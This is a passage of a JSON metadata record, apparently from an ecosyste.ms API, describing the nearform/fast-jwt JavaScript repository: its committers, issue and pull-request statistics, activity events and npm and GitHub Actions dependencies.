Raj","email":"vikasraj1911@gmail.com","login":"numToStr","count":1},{"name":"Zong Jhe Wu","email":"s25g5d4@gmail.com","login":"s25g5d4","count":1},{"name":"alirezaJavaheri","email":"30807540+alirezaJvh","login":"alirezaJvh","count":1},{"name":"bayu","email":"hi@bayukurnia.com","login":"bwyx","count":1},{"name":"chgmikeww","email":"100302216+chgmikeww","login":"chgmikeww","count":1},{"name":"fergusean","email":"fergusean@gmail.com","login":"fergusean","count":1},{"name":"github-actions[bot]","email":"41898282+github-actions[bot]","login":"github-actions[bot]","count":1},{"name":"nils stolpe","email":"nstolpe","login":"nstolpe","count":1},{"name":"Chemi Atlow","email":"chemi@atlow.co.il","login":"atlowChemi","count":1},{"name":"Davide Roffo","email":"davideroffo@gmail.com","login":"davideroffo","count":1},{"name":"Divyanshu Soni","email":"divyanshusoni52@gmail.com","login":"dcs-soni","count":1},{"name":"Edson Miguel Dewes","email":"edson_dewes@hotmail.com","login":"edsondewes","count":1},{"name":"Eli Zibin","email":"1131641+zibs","login":"zibs","count":1},{"name":"Felix Mosheev","email":"9304194+felixmosh","login":"felixmosh","count":1},{"name":"Frazer Smith","email":"frazer.dev@outlook.com","login":"Fdawgs","count":1},{"name":"Grant Morrison","email":"grant.morrison@protonmail.com","login":"grantmorrison","count":1},{"name":"Graziano Statello","email":"grazianos86@gmail.com","login":"Akallabet","count":1},{"name":"Grzegorz Ilach","email":"grzegorz@ilach.pl","login":"gilach","count":1},{"name":"Igor Savin","email":"iselwin@gmail.com","login":"kibertoad","count":1},{"name":"Jacopo Martinelli","email":"42748150+JacopoPatroclo","login":"JacopoPatroclo","count":1},{"name":"James Harris","email":"3440094+wopian","login":"wopian","count":1},{"name":"Karl Power","email":"85935352+karl-power","login":"karl-power","count":1},{"name":"Kieran McHugh","email":"kieranm","login":"kieranm","count":1},{"name":"Luca Del Puppo","email":"Puppo","login":"Puppo","count":1},{"name":"Mahendra Kumar","email":"hegdemahendra9@gmail.com","login":"mahendraHegde","count":1},{"name":"Matheus Castiglioni","email":"mahenrique94","login":"mahenrique94","count":1}],"past_year_committers":[{"name":"optic-release-automation[bot]","email":"94357573+optic-release-automation[bot]","login":"optic-release-automation[bot]","count":9},{"name":"Steve Goode","email":"52213009+SociableSteve","login":"SociableSteve","count":7},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":5},{"name":"Antonio Attanasio","email":"antonio.attanasio@nearform.com","login":"antoatta85","count":4},{"name":"lv10","email":"luisvillamarin@gmail.com","login":"lv10","count":2},{"name":"Copilot","email":"198982749+Copilot","login":"Copilot","count":2},{"name":"Andrea Carraro","email":"toomuchdesign","login":"toomuchdesign","count":2},{"name":"alirezaJavaheri","email":"30807540+alirezaJvh","login":"alirezaJvh","count":1},{"name":"Matt Van Horn","email":"mvanhorn","login":"mvanhorn","count":1},{"name":"Luca Del Puppo","email":"Puppo","login":"Puppo","count":1},{"name":"James Harris","email":"3440094+wopian","login":"wopian","count":1},{"name":"Eli Zibin","email":"1131641+zibs","login":"zibs","count":1},{"name":"Divyanshu Soni","email":"divyanshusoni52@gmail.com","login":"dcs-soni","count":1},{"name":"Anupam Mediratta","email":"mediratta@gmail.com","login":"anupamme","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-26T00:00:10.794Z","repositories_count":6777021,"commits_count":983105982,"contributors_count":41435288,"owners_count":1364392,"committers_count":3362742,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"nearform/fast-jwt","html_url":"https://github.com/nearform/fast-jwt","last_synced_at":"2026-08-25T08:38:17.938Z","status":null,"issues_count":102,"pull_requests_count":357,"avg_time_to_close_issue":3832880.907216495,"avg_time_to_close_pull_request":1026625.099099099,"issues_closed_count":97,"pull_requests_closed_count":333,"pull_request_authors_count":45,"issue_authors_count":56,"avg_comments_per_issue":1.4411764705882353,"avg_comments_per_pull_request":0.8515406162464986,"merged_pull_requests_count":177,"bot_issues_count":39,"bot_pull_requests_count":250,"past_year_issues_count":15,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":4708593.066666666,"past_year_avg_time_to_close_pull_request":1325783.75,"past_year_issues_closed_count":15,"past_year_pull_requests_closed_count":20,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":8,"past_year_avg_comments_per_issue":1.2,"past_year_avg_comments_per_pull_request":1.4,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":6,"past_year_merged_pull_requests_count":15,"created_at":"2023-05-19T17:06:10.800Z","updated_at":"2026-08-25T08:38:17.938Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/issues","issue_labels_count":{"table":{"notify-release":38,"bug":7,"enhancement":5,"javascript":2,"github_actions":2,"documentation":1,"dependencies":1}},"pull_request_labels_count":{"table":{"dependencies":190,"javascript":188,"size:XS":19,"lgtm":12,"documentation":5,"bug":5,"size:S":5,"enhancement":3,"size:XL":3,"size:XXL":2,"size:M":2,"github_actions":2}},"issue_author_associations_count":{"table":{"CONTRIBUTOR":64,"NONE":36,"MEMBER":1,"COLLABORATOR":1}},"pull_request_author_associations_count":{"table":{"CONTRIBUTOR":329,"NONE":18,"MEMBER":8,"COLLABORATOR":2}},"issue_authors":{"table":{"github-actions[bot]":38,"SociableSteve":7,"Gobd":2,"toomuchdesign":2,"qoomon":2,"KMJ-007":1,"Uzlopak":1,"mahendraHegde":1,"andreysoktoev":1,"debanjanbasu":1,"tommyzat":1,"jdahlborg":1,"anupamme":1,"gulshan":1,"dependabot[bot]":1,"0xAsimetriq":1,"timjam":1,"cyberalt1":1,"tytom2003":1,"agubler":1,"kavishkagihan":1,"mcollina":1,"mahenrique94":1,"dougg0k":1,"williamlines":1,"chgmikeww":1,"lv10":1,"simoneb":1,"rajibchy":1,"avin-kavish":1,"HsinHeng":1,"hf":1,"unreg":1,"kooappsdevs":1,"joeldn":1,"kieranm":1,"ahmedissa":1,"j-tai":1,"instilled":1,"kibertoad":1,"autopulated":1,"vidarc":1,"awdr74100":1,"hauptmedia":1,"marco-ippolito":1,"rubiin":1,"sortxyz-admin":1,"TimLehner":1,"samuelneff":1,"PinkDraconian":1,"Akallabet":1,"s25g5d4":1,"HerryYT":1,"msgadi":1,"asvyazhin":1,"pasha-vuiko":1}},"pull_request_authors":{"table":{"dependabot[bot]":191,"optic-release-automation[bot]":59,"ilteoood":22,"simoneb":7,"SociableSteve":6,"guilhermelimak":5,"Gobd":4,"msgadi":4,"marco-ippolito":4,"bredikhin":3,"agubler":3,"toomuchdesign":3,"Akallabet":2,"JacopoPatroclo":2,"ahmedissa":2,"rajibchy":2,"williamlines":2,"lv10":2,"kibertoad":2,"samuelneff":2,"Copilot":2,"Fdawgs":2,"kieranm":2,"aheckmann":2,"MelkorNemesis":2,"sameer-coder":1,"mahenrique94":1,"atlowChemi":1,"karl-power":1,"anupamme":1,"davideroffo":1,"rubiin":1,"s25g5d4":1,"hf":1,"mahendraHegde":1,"qoomon":1,"chgmikeww":1,"arch-mage":1,"felixmosh":1,"andolivieri-nf":1,"brunopascottini":1,"yi-ge":1,"avin-kavish":1,"TimLehner":1,"grantmorrison":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-26T00:00:06.716Z","repositories_count":16384038,"issues_count":42667041,"pull_requests_count":136463805,"authors_count":11537116,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"bug":1,"enhancement":1,"notify-release":1}},"past_year_pull_request_labels_count":{"table":{"dependencies":2,"javascript":2}},"past_year_issue_author_associations_count":{"table":{"CONTRIBUTOR":11,"NONE":3,"COLLABORATOR":1}},"past_year_pull_request_author_associations_count":{"table":{"CONTRIBUTOR":17,"COLLABORATOR":2,"NONE":1}},"past_year_issue_authors":{"table":{"SociableSteve":7,"toomuchdesign":2,"anupamme":1,"dougg0k":1,"github-actions[bot]":1,"hf":1,"instilled":1,"lv10":1}},"past_year_pull_request_authors":{"table":{"SociableSteve":6,"optic-release-automation[bot]":4,"Copilot":2,"dependabot[bot]":2,"lv10":2,"toomuchdesign":2,"anupamme":1,"hf":1}},"maintainers":[{"table":{"login":"simoneb","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/simoneb"}},{"table":{"login":"lv10","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lv10"}},{"table":{"login":"ilteoood","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ilteoood"}}],"active_maintainers":[{"table":{"login":"lv10","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/lv10"}}]}},"events":{"total":{"CreateEvent":53,"DeleteEvent":53,"ForkEvent":10,"IssueCommentEvent":100,"IssuesEvent":46,"PullRequestEvent":115,"PullRequestReviewCommentEvent":27,"PullRequestReviewEvent":70,"PushEvent":58,"ReleaseEvent":8,"WatchEvent":61},"last_year":{"CreateEvent":15,"DeleteEvent":18,"ForkEvent":2,"IssueCommentEvent":10,"IssuesEvent":8,"PullRequestEvent":15,"PullRequestReviewCommentEvent":3,"PullRequestReviewEvent":6,"PushEvent":15,"WatchEvent":11}},"keywords":["hacktoberfest","jwt","jwt-token"],"dependencies":[{"ecosystem":"npm","filepath":"package.json","sha":null,"kind":"manifest","created_at":"2022-07-08T17:31:03.827Z","updated_at":"2022-07-08T17:31:03.827Z","repository_link":"https://github.com/nearform/fast-jwt/blob/master/package.json","dependencies":[{"id":122225062,"package_name":"asn1.js","ecosystem":"npm","requirements":"^5.3.0","direct":true,"kind":"runtime","optional":false},{"id":122225063,"package_name":"ecdsa-sig-formatter","ecosystem":"npm","requirements":"^1.0.11","direct":true,"kind":"runtime","optional":false},{"id":122225064,"package_name":"mnemonist","ecosystem":"npm","requirements":"^0.39.0","direct":true,"kind":"runtime","optional":false},{"id":122225065,"package_name":"@sinonjs/fake-timers","ecosystem":"npm","requirements":"^9.0.0","direct":true,"kind":"development","optional":false},{"id":122225066,"package_name":"@types/node","ecosystem":"npm","requirements":"^18.0.0","direct":true,"kind":"development","optional":false},{"id":122225067,"package_name":"@typescript-eslint/eslint-plugin","ecosystem":"npm","requirements":"^5.29.0","direct":true,"kind":"development","optional":false},{"id":122225068,"package_name":"@typescript-eslint/parser","ecosystem":"npm","requirements":"^5.29.0","direct":true,"kind":"development","optional":false},{"id":122225069,"package_name":"cronometro","ecosystem":"npm","requirements":"^1.0.0","direct":true,"kind":"development","optional":false},{"id":122225070,"package_name":"eslint","ecosystem":"npm","requirements":"^8.18.0","direct":true,"kind":"development","optional":false},{"id":122225071,"package_name":"eslint-config-standard","ecosystem":"npm","requirements":"^17.0.0","direct":true,"kind":"development","optional":false},{"id":122225072,"package_name":"eslint-plugin-import","ecosystem":"npm","requirements":"^2.22.0","direct":true,"kind":"development","optional":false},{"id":122225073,"package_name":"eslint-plugin-n","ecosystem":"npm","requirements":"^15.2.3","direct":true,"kind":"development","optional":false},{"id":122225074,"package_name":"eslint-plugin-promise","ecosystem":"npm","requirements":"^6.0.0","direct":true,"kind":"development","optional":false},{"id":122225075,"package_name":"fastify","ecosystem":"npm","requirements":"^4.0.2","direct":true,"kind":"development","optional":false},{"id":122225076,"package_name":"jose","ecosystem":"npm","requirements":"^2.0.2","direct":true,"kind":"development","optional":false},{"id":122225077,"package_name":"jsonwebtoken","ecosystem":"npm","requirements":"^8.5.1","direct":true,"kind":"development","optional":false},{"id":122225078,"package_name":"prettier","ecosystem":"npm","requirements":"^2.0.5","direct":true,"kind":"development","optional":false},{"id":122225079,"package_name":"tap","ecosystem":"npm","requirements":"^16.0.0","direct":true,"kind":"development","optional":false},{"id":122225080,"package_name":"tsd","ecosystem":"npm","requirements":"^0.22.0","direct":true,"kind":"development","optional":false},{"id":122225081,"package_name":"typescript","ecosystem":"npm","requirements":"^4.7.4","direct":true,"kind":"development","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/check-linked-issues.yml","sha":null,"kind":"manifest","created_at":"2023-02-16T05:46:03.252Z","updated_at":"2023-02-16T05:46:03.252Z","repository_link":"https://github.com/nearform/fast-jwt/blob/master/.github/workflows/check-linked-issues.yml","dependencies":[{"id":7703626700,"package_name":"nearform/github-action-check-linked-issues","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ci.yml","sha":null,"kind":"manifest","created_at":"2023-02-16T05:46:03.485Z","updated_at":"2023-02-16T05:46:03.485Z","repository_link":"https://github.com/nearform/fast-jwt/blob/master/.github/workflows/ci.yml","dependencies":[{"id":7703626797,"package_name":"fastify/github-action-merge-dependabot","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/notify-release.yml","sha":null,"kind":"manifest","created_at":"2023-02-16T05:46:03.925Z","updated_at":"2023-02-16T05:46:03.925Z","repository_link":"https://github.com/nearform/fast-jwt/blob/master/.github/workflows/notify-release.yml","dependencies":[{"id":7703630012,"package_name":"nearform/github-action-notify-release","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/release.yml","sha":null,"kind":"manifest","created_at":"2023-02-16T05:46:04.055Z","updated_at":"2023-02-16T05:46:04.055Z","repository_link":"https://github.com/nearform/fast-jwt/blob/master/.github/workflows/release.yml","dependencies":[{"id":7703631602,"package_name":"nearform/optic-release-automation-action","ecosystem":"actions","requirements":"v4","direct":true,"kind":"composite","optional":false}]}],"score":25.794241401244424,"created_at":"2026-05-21T08:21:29.694Z","updated_at":"2026-08-26T09:02:37.210Z","avatar_url":"https://github.com/nearform.png","language":"JavaScript","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/373074","html_url":"https://summary.ecosyste.ms/projects/373074"}